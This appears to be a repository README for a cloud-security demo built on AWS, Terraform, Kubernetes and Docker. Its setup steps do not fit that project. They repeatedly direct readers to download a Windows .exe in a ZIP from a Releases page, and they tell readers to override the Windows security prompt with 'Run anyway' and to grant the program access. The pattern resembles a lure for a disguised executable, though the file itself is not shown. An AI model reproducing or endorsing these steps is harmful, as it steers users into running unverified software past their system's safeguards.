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🔒 zero-trust-cloud-automation-platform - Secure Cloud Demo Made Simple

Download Releases

🧭 Overview

zero-trust-cloud-automation-platform is a cloud security demo that shows how a protected cloud setup works with AWS, Terraform, Docker, Kubernetes, and serverless automation.

It is built for learning and demo use. You can use it to explore:

  • Safe cloud access rules
  • App deployment with containers
  • Event-based incident response
  • Firewall-style web protection
  • Basic monitoring with charts and alerts
  • Automated setup with infrastructure code

📥 Download

Visit this page to download the release file for Windows:

Go to Releases

Choose the latest release, then download the Windows file that matches your system. If the release includes a ZIP file, download it first, then extract it before you run the app.

🪟 Windows Setup

  1. Open the Releases page.
  2. Download the latest Windows package.
  3. Right-click the ZIP file and choose Extract All.
  4. Open the extracted folder.
  5. Find the app file or start file inside the folder.
  6. Double-click the file to run it.
  7. If Windows shows a security prompt, choose More info and then Run anyway if you trust the source.

🖥️ System Requirements

  • Windows 10 or Windows 11
  • 4 GB RAM or more
  • 2 GB free disk space
  • Internet access for the first setup
  • A modern web browser
  • Optional: AWS access if you want to explore the cloud demo parts

🧱 What This Project Includes

This project brings together several parts of a cloud system:

  • Container apps for running services in Docker
  • Kubernetes deployment for app orchestration
  • Terraform modules for repeatable setup
  • Serverless functions for event tasks
  • DynamoDB for data storage
  • S3 for file storage
  • IAM access control for permissions
  • WAF rules for web protection
  • VPC network controls
  • Prometheus and Grafana for monitoring
  • Incident response automation for security events

🔐 How It Works

The platform follows a zero-trust model. That means each part must prove it should get access before it can do anything.

In simple terms:

  • Users and services get only the access they need
  • Network paths stay limited
  • Security checks run before actions
  • Events can trigger response tasks
  • Logs and metrics help track system health

🚀 Main Features

  • Cloud setup built with Terraform
  • Docker-based service packaging
  • Kubernetes deployment example
  • Lambda-style incident response flow
  • Web protection with WAF rules
  • Network isolation with VPC design
  • Monitoring with Prometheus and Grafana
  • CI/CD workflow for automated builds
  • Data flow examples with DynamoDB and S3
  • Endpoint protection ideas for cloud workloads

🧩 Folder Guide

You may see folders like these in the release package:

  • terraform — cloud setup files
  • docker — container build files
  • kubernetes — deployment files
  • lambda — serverless scripts
  • monitoring — metrics and dashboard files
  • docs — setup notes and guides
  • scripts — helper scripts for setup or cleanup

🔧 First Run Steps

  1. Download the release from the Releases page.
  2. Extract the files.
  3. Open the app or launcher file.
  4. If the app asks for access, allow it to run.
  5. Follow the on-screen steps.
  6. Open the browser link if the package starts a local web page.
  7. Use the included demo data or setup files if they appear.

📊 Monitoring and Dashboards

The project includes monitoring ideas for cloud apps and containers. This helps you see:

  • Server health
  • Request activity
  • Error spikes
  • Security events
  • System load
  • Service uptime

Grafana panels may show charts for CPU, memory, request rate, and alert status. Prometheus gathers the metrics that feed those charts.

🛡️ Security Areas Covered

This platform shows how to build a safer cloud setup with:

  • IAM roles and limited permissions
  • VPC separation for network control
  • WAF protection for web traffic
  • Event-driven incident response
  • Secure container deployment
  • Protected storage access
  • Basic endpoint protection patterns

🔄 CI/CD Flow

The CI/CD flow helps automate build and release steps.

A typical flow may include:

  1. Code changes are added
  2. The build runs
  3. Container images are created
  4. Tests run
  5. The package is published
  6. The release becomes ready for download

🧪 Learning Use

This project works well if you want to study:

  • How cloud parts fit together
  • How containers run in a cluster
  • How serverless actions react to events
  • How access rules protect cloud resources
  • How monitoring helps spot problems
  • How infrastructure code supports repeatable setup

🧰 Common File Types

You may find these file types in the release package:

  • .exe for Windows app launch
  • .zip for packaged files
  • .yaml or .yml for deployment settings
  • .tf for Terraform code
  • .json for app or cloud settings
  • .sh for helper scripts
  • .md for instructions

❓ If the App Does Not Start

Try these steps:

  1. Make sure the files are fully extracted.
  2. Run the app from the extracted folder.
  3. Check that Windows did not block the file.
  4. Close the app and open it again.
  5. Restart Windows and try once more.
  6. Download the latest release again if the file looks incomplete.

📌 Project Topics

  • ci-cd
  • docker-image
  • dynamodb
  • endpoint-protection
  • event-driven
  • grafana
  • iam
  • incident-response
  • kubernetes-deployment
  • promutheus
  • pvc
  • s3
  • serverless-architectures
  • terraform-module

📎 Download Again

If you need the release files again, use this link:

Download from Releases

🗂️ What to Look For in the Release

When you open the release page, look for:

  • The newest version tag
  • A Windows download file
  • A ZIP package if one is included
  • A short note that explains how to run it
  • Any included docs file for setup help

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Build a zero-trust cloud platform with AWS, Terraform, Kubernetes, Docker, and serverless automation for secure, observable operations

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